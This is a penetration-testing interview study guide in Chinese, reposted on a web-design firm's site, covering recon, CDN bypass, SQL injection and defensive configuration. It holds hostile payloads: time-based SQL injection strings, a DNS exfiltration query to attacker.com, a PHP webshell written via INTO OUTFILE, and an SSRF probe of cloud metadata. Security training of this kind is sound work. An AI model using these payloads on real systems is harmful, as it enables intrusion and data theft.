尧图网站建设 免费方案咨询
ARTICLE DETAIL

资讯详情

深耕网站建设、视觉设计与SEO优化的一线实战洞察。

首页/资讯中心/资讯详情

2025年渗透测试面试题总结-2025年HW(护网面试) 34（题目+回答）

发布时间：2026/9/22 8:23:15 尧图网站建设
2025年渗透测试面试题总结-2025年HW(护网面试) 34（题目+回答）

安全领域各种资源，学习文档，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。

目录

 2025年HW(护网面试) 34

一、网站信息收集

核心步骤与工具

二、CDN绕过与真实IP获取

6大实战方法

三、常见漏洞原理与防御

四大高危漏洞对比

四、SQL注入检测与盲注

注入点探测流程

时间盲注核心函数

五、Sleep函数被过滤的替代方案

4种绕过方式

六、SQL注入拿Shell的条件

七、网站绝对路径获取

7大途径

八、Web服务器解析漏洞

经典案例解析

九、Nginx安全配置

6项关键配置

十、PHP审计流程

四步代码审计法

十一、PHP防注入方案

3层防御体系

十二、PHP安全配置

十三、Web渗透流程

五阶段模型

十四、HTTP协议核心问题

十五、HTTPS建立过程

TLS握手六步

十六、CSRF防御机制

Token防御原理

其他防御方案

 

 2025年HW(护网面试) 34

1、网站信息收集
2、怎么寻找真实IP（cdn绕过）
3、常见漏洞原理和防范
4、sql怎么找注入点、盲注
5、叙述一下时间盲注原理以及用到的各种函数
6、sleep函数被过滤怎么办？
7、sql注入能拿shell么，需要什么权限
8、怎么获得网站的绝对路径？
9、web服务器解析漏洞了解么？
10、Nginx安全配置相关
11、PHP审计流程
12、php怎么防注入  
13、php安全配置了解么  
14、web渗透流程
15、http了解么、长连接还是短连接、谈谈对http无状态的理解。
16、bp抓https包的原理
17、https实现过程
18、防御csrf的方式？token防御csrf的原理？

一、网站信息收集

核心步骤与工具
类别方法工具示例
基础架构HTTP头分析、端口扫描Nmap, Wappalyzer
子域名证书透明度、DNS爆破Amass, Subfinder
目录文件敏感文件扫描、备份文件探测Dirsearch, Wayback Machine
关联资产反向IP查询、Whois信息关联Shodan, Fofa

二、CDN绕过与真实IP获取

6大实战方法
  1. 历史解析记录
    • 查询DNS历史：SecurityTrails, ViewDNS.info
  2. 全球Ping检测
    • 利用不同地区节点：Ping + ASN归属分析 → 识别非CDN IP
  3. 子域名探测
    • www域名有CDN → 尝试mail、dev等未配置CDN的子域
  4. 协议漏洞利用
    • SSRF响应：http://xxx.com/?url=http://169.254.169.254 （云元数据）
  5. 邮件服务器追踪
    • 分析邮件头Received字段获取真实IP
  6. DNS记录泄露
    • SPF记录中的ip4:声明（如v=spf1 ip4:203.0.113.1 -all）

三、常见漏洞原理与防御

四大高危漏洞对比
漏洞类型原理防御方案
SQL注入用户输入拼接SQL语句参数化查询（PreparedStatement）
XSS恶意脚本注入页面CSP头：Content-Security-Policy
SSRF服务端请求伪造内网资源白名单校验URL + 禁用file://协议
RCE系统命令执行函数未过滤禁用危险函数（如eval()）+ 权限最小化

四、SQL注入检测与盲注

注入点探测流程
mermaidgraph LR A[输入点检测] --> B(单引号触发错误) B --> C{返回异常？} C -->|是| D[报错注入] C -->|否| E[布尔盲注检测] E --> F(1' AND 1=1-- → 正常) F --> G(1' AND 1=2-- → 异常？) G -->|是| H[确认布尔盲注]
时间盲注核心函数
数据库延时函数示例Payload
MySQLSLEEP()1' AND SLEEP(5)--
PostgreSQLpg_sleep()1' AND pg_sleep(5)--
MSSQLWAITFOR DELAY1'; WAITFOR DELAY '0:0:5'--

五、Sleep函数被过滤的替代方案

4种绕过方式
  1. 重载延时
    • MySQL：BENCHMARK(10000000, MD5('a'))
  2. 条件错误触发
    • 1' AND IF(1=1, (SELECT 1 FROM INFORMATION_SCHEMA.PLUGINS), 1/0)--
  3. 大查询阻塞
    • SELECT * FROM all_tables t1, all_tables t2（制造笛卡尔积）
  4. 外带数据延时
    • DNS查询：1' AND LOAD_FILE(CONCAT('\\\\',(SELECT HEX(user)), '.attacker.com\\'))--

六、SQL注入拿Shell的条件

前提条件操作路径
1. 文件写权限secure_file_priv为空（MySQL）
2. 绝对路径获取通过报错/配置文件泄露
3. Web目录写入写入PHP一句话：
SELECT '<?=eval($_POST[1])?>' INTO OUTFILE '/var/www/shell.php'

七、网站绝对路径获取

7大途径
  1. 报错信息
    • PHP错误：Warning: include(/var/www/config.php) failed
  2. 配置文件
    • /etc/apache2/sites-enabled/000-default.conf → DocumentRoot
  3. 进程信息
    • Linux：/proc/self/cwd → 符号链接指向路径
  4. 框架特性
    • Laravel：php artisan tinker → base_path()
  5. 文件包含漏洞
    • 包含/proc/self/environ获取环境变量
  6. 备份文件泄露
    • .git/index → 文件路径痕迹
  7. 命令执行回显
    • ; pwd; → 返回当前路径

八、Web服务器解析漏洞

经典案例解析
服务器漏洞原理攻击示例
IIS 6.0目录名含.asp则所有文件按ASP解析/upload.asp/logo.jpg → JPG当ASP执行
Nginx <0.8路径截断：%00截断文件名/test.php%00.jpg → PHP执行
Apache多后缀解析：.php.jpg 当PHP执行shell.php.jpg → 触发PHP引擎

九、Nginx安全配置

6项关键配置
nginx# 1. 禁用敏感信息 server_tokens off; # 隐藏Nginx版本 # 2. 文件访问限制 location ~* \.(ini|conf|env)$ { deny all; # 禁止访问配置文件 } # 3. 防目录遍历 autoindex off; # 禁用目录列表 # 4. 限制HTTP方法 if ($request_method !~ ^(GET|POST)$ ) { return 444; # 非GET/POST请求直接断开 } # 5. 防路径穿越 location ~* \.\./ { deny all; # 阻断../跳转 } # 6. CSP防护 add_header Content-Security-Policy "default-src 'self'";

十、PHP审计流程

四步代码审计法
mermaidgraph TB A[敏感函数定位] --> B[参数回溯] B --> C{输入是否可控？} C -->|是| D[过滤机制分析] D --> E[构造PoC验证]

十一、PHP防注入方案

3层防御体系
  1. 输入层过滤
    • filter_var($input, FILTER_SANITIZE_STRING)
  2. 执行层隔离
    • PDO预处理：$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
  3. 输出层转义
    • HTML输出：htmlspecialchars($str, ENT_QUOTES)

十二、PHP安全配置

配置项安全值作用
expose_phpOff隐藏PHP版本
disable_functionssystem,exec,passthru禁用危险函数
open_basedir/var/www限制文件访问范围
session.cookie_httponly1防JS窃取Session

十三、Web渗透流程

五阶段模型
  1. 信息收集：资产测绘 + 指纹识别
  2. 漏洞探测：自动扫描 + 手动验证
  3. 漏洞利用：武器化Payload投递
  4. 权限维持：Webshell + 后门安装
  5. 横向移动：凭证窃取 + 内网漫游

十四、HTTP协议核心问题

问题技术解析
长连接 vs 短连接长连接：Connection: keep-alive（复用TCP连接）
短连接：每次请求新建连接
无状态协议不记录请求间状态 → 需Cookie/Session维持会话
HTTPS抓包原理中间人攻击：BP生成伪证书 + 客户端信任CA根证书

十五、HTTPS建立过程

TLS握手六步
  1. Client → Server：ClientHello（支持密码套件列表）
  2. Server → Client：ServerHello（选定密码套件）+ 证书
  3. Client验证证书合法性（CA链校验）
  4. Client生成随机对称密钥 → 用证书公钥加密发送
  5. Server用私钥解密获取对称密钥
  6. 双方用对称密钥加密通信

十六、CSRF防御机制

Token防御原理
mermaidgraph LR A[用户登录] --> B[服务端生成Token存入Session] B --> C[Token嵌入表单隐藏域] C --> D[提交请求时验证Token] D -->|匹配| E[执行操作] D -->|不匹配| F[拒绝请求]
其他防御方案
  • SameSite Cookie：Set-Cookie: session=xxx; SameSite=Lax
  • 双重Cookie验证：请求头携带Cookie + Body携带Token
  • 验证码挑战：敏感操作需二次验证

网站建设 视觉设计 SEO优化
返回列表